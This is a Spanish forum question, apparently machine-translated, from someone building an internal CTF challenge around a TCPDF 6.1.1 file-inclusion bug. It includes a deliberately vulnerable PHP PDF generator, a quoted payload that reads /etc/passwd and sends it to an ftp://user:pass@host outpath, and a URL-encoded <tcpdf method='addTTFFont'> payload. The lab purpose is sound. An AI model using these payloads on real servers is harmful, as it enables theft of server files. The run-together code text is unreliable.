Estoy haciendo algunos desafíos como parte de un CTF interno que estamos hospedando. Como parte de los desafíos, una de las cosas que planeaba entregar era File Inclusion
usando una vulnerabilidad en una determinada versión de TCPDF.
Estaba intentando seguir el blog aquí para comprender el error en sí: Inclusión de archivos a través de TCPDF roto
Comprendo la vulnerabilidad en pocas palabras, es decir, que TCPDF, de forma predeterminada, tiene acceso a una etiqueta especial <tcpdf />
que permite la ejecución de los métodos TCPDF disponibles junto con los parámetros.
Por ejemplo, si:
<tcpdf method="some_method" params="abcd"/>
lo anterior se pasa a writeHTML()
TCPDF llamaría a some_method()
con el parámetro abcd
.
Y para poder leer archivos, se usará un método TCPDF específico llamado addTTFFont
que toma como parámetros lo siguiente:
- $ fontfile: el archivo que se toma del servidor. Cualquier archivo legible puede ser seleccionado.
- $ fonttype: debe configurarse en TrueType para que el ataque funcione.
- $ outpath: ubicación para la salida del archivo.
Al inyectar una ubicación ftp, como el tercer parámetro, el archivo se cargará de forma remota.
Por favor corríjame si mi entendimiento es incorrecto aquí.
Ahora, esto es lo que no entiendo del blog anterior. La línea que dice:
Al generar un elemento tcpdf usando el siguiente código: $ params = TCPDF_STATIC :: serializeTCPDFtagParameters (array ('/ etc / passwd', 'TrueType', '', 255, urldecode (' ftp: // usuario: pass @ host / ')))
Ahora, ¿qué intenta explicar el autor en la línea anterior?
También para poder reproducir esta vulnerabilidad, esto es lo que intenté:
Presenté una aplicación muy simple (y, por supuesto, vulnerable de muchas maneras) en mi servidor local de Aapache y usé TCPDF V 6.1.1
, ya que esta era la versión inmediatamente anterior a la versión 6.2.0 en la que se solucionó el error.
La aplicación simplemente permite a los usuarios registrarse e iniciar sesión. Al iniciar sesión, el usuario obtiene una página como yalhacerclicenelenlaceenrojo,segeneraunarchivoPDFparaelusuarioconsunombrecomo:
gogo
eraelnombredeusuario.
AhoradebajoestáelcódigoquegeneraelPDF(gen_pdf.php):
<?phpsession_start();require_once('tcpdf_include.php');if(isset($_SESSION['username'])){//ExtendtheTCPDFclasstocreatecustomHeaderandFooterclassMYPDFextendsTCPDF{//PageheaderpublicfunctionHeader(){//Logo$image_file=K_PATH_IMAGES.'logo_example.jpg';$this->Image($image_file,10,10,15,'','JPG','','T',false,300,'',false,false,0,false,false,false);//Setfont$this->SetFont('helvetica','B',20);//Titletorightallignment$this->Cell(0,15,'<<TheMachinev/sSamaritan>>',1,false,'',0,'',0,false,'T','M');}}$pdf=newMYPDF(PDF_PAGE_ORIENTATION,PDF_UNIT,PDF_PAGE_FORMAT,true,'UTF-8',false);$pdf->SetCreator(PDF_CREATOR);$pdf->SetAuthor('JohnReese');$pdf->SetTitle('TheMachineMustLive');$pdf->SetSubject('Thefutureisinevitable.');$pdf->SetKeywords('TheMachine,Samaritan,Mr.Reese');//setdefaultheaderdata$pdf->SetHeaderData(PDF_HEADER_LOGO,PDF_HEADER_LOGO_WIDTH,PDF_HEADER_TITLE.'001',PDF_HEADER_STRING,array(0,64,255),array(0,64,128));$pdf->setFooterData(array(0,64,0),array(0,64,128));//setheaderandfooterfonts$pdf->setHeaderFont(Array(PDF_FONT_NAME_MAIN,'',PDF_FONT_SIZE_MAIN));$pdf->setFooterFont(Array(PDF_FONT_NAME_DATA,'',PDF_FONT_SIZE_DATA));//setdefaultmonospacedfont$pdf->SetDefaultMonospacedFont(PDF_FONT_MONOSPACED);//setmargins$pdf->SetMargins(PDF_MARGIN_LEFT,PDF_MARGIN_TOP,PDF_MARGIN_RIGHT);$pdf->SetHeaderMargin(PDF_MARGIN_HEADER);$pdf->SetFooterMargin(PDF_MARGIN_FOOTER);//setautopagebreaks$pdf->SetAutoPageBreak(TRUE,PDF_MARGIN_BOTTOM);//setimagescalefactor$pdf->setImageScale(PDF_IMAGE_SCALE_RATIO);//setsomelanguage-dependentstrings(optional)if(@file_exists(dirname(__FILE__).'/lang/eng.php')){require_once(dirname(__FILE__).'/lang/eng.php');$pdf->setLanguageArray($l);}//---------------------------------------------------------//setdefaultfontsubsettingmode$pdf->setFontSubsetting(true);//Setfont//dejavusansisaUTF-8Unicodefont,ifyouonlyneedto//printstandardASCIIchars,youcanusecorefontslike//helveticaortimestoreducefilesize.$pdf->SetFont('dejavusans','',14,'',true);//settextshadoweffect$pdf->setTextShadow(array('enabled'=>true,'depth_w'=>0.2,'depth_h'=>0.2,'color'=>array(196,196,196),'opacity'=>1,'blend_mode'=>'Normal'));//Setsomecontenttoprint$html=<<<EOD<div><h1>WelcometoTomorrow!!<spanstyle="color:black;"></span></h1>
<i>This Machine is growing weaker and we need to keep it safe.</i>
<p>This is the world of the <i>Samaritan</i> and it needs to be protected <i>Mr. Rees and Root will be there for your help</i>.</p>
<p>All the best for your travel ... </p>
</div>
EOD;
$pdf->AddPage('P');
$html = $html."<div><h2>".$_SESSION['username']."</h2></div>";
$pdf->writeHTML($html);
ob_end_clean();
$pdf->Output('ticket_to_the_future.pdf', 'I');
}
?>
He modificado solo esta parte del código anterior:
$pdf->AddPage('P');
$html = $html."<div><h2>".$_SESSION['username']."</h2></div>";
$pdf->writeHTML($html);
ob_end_clean();
$pdf->Output('ticket_to_the_future.pdf', 'I');
a esto:
$pdf->AddPage('P');
$html = "<tcpdf method=\"addTTFFont\" params=\"%5B%22CHANGELOG.TXT%22%2C%22TrueType%22%2C%22%22%2C255%2C%22%5C%2Ftmp%5C%2Ftcpdf_bug.txt%22%5D\"/>";
$pdf->writeHTML($html);
ob_end_clean();
$pdf->Output('ticket_to_the_future.pdf', 'I');
que está codificada en forma rígida la carga útil de explotación (solo para comprobar si las cosas funcionan), donde CHANGELOG.TXT
es un archivo ya presente en el mismo directorio que gen_pdf.php
Salida No parece que el archivo tcpdf_bug.txt se genere en \ tmp.
¿Qué estoy haciendo mal aquí? Por favor ayúdame a crear este PoC.